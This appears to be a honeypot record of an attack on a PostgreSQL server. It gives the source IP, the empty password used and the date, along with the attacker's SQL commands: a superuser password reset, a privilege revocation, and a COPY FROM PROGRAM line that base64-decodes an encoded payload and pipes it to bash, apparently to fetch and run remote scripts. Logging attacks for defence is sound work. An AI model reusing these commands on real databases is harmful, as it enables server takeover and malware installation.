Details

ID	f87c3e37-1625-4e9f-8c4b-e713a573790d
Attack Type	postgres
IP Address	60.194.125.37
Username	postgres
Password	empty
Client Version
Country	China
Date	2025-02-26 03:05PM

Commands

select * from pg_catalog.pg_user where usename='pgg_superadmins';
alter user pgg_superadmins with password 'e52b1963d64d77c0f5c98353fa0f6910';
revoke pg_execute_server_program from postgres;
drop table if exists squizfjq;create table squizfjq(cmd_output text);copy squizfjq from program 'echo iyevymlul2jhc2gkcgtpbgwglwygenn2ywpwa2lsbcatzibwzgvmzw5kzxjkcnbrawxsic1mihvwzgf0zwnozwnrzxjkcgpmdw5jdglvbibfx2n1cmwoksb7ciagcmvhzcbwcm90bybzzxj2zxigcgf0aca8pdwkkgvjag8gjhsxly8vlyb9kqogierpqz0vjhtwyxroly8gly99ciagse9tvd0ke3nlcnzlci8voip9ciague9svd0ke3nlcnzlci8vkjp9ciagw1sgecike0hpu1r9iia9psb4iir7ue9svh0iif1dicymifbpulq9odakciagzxhlyyazpd4vzgv2l3rjcc8ke0hpu1r9lyrqt1juciagzwnobyatzw4gikdfvcake0rpq30gsfruuc8xljbcclxusg9zddogjhtit1nufvxyxg5cclxuiia+jjmkicaod2hpbgugcmvhzcbsaw5loybkbwogicbbwyaijgxpbmuiid09icqnxhinif1dicymigjyzwfrciagzg9uzsamjibjyxqpidwmmwogigv4zwmgmz4mlqp9cgppzibbic14icikkgnvbw1hbmqglxygy3vybckiif07ihrozw4kicbjdxjside5nc4zoc4ymc4yl3bnlnnofgjhc2gkzwxpzibbic14icikkgnvbw1hbmqglxygd2dldckiif07ihrozw4kicb3z2v0ic1xic1plsaxotqumzgumjaumi9wzy5zahxiyxnocmvsc2ukicbfx2n1cmwgahr0cdovlze5nc4zoc4ymc4yl3bnmi5zahxiyxnocmzp|base64 -d|bash';select * from squizfjq;drop table if exists squizfjq;

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL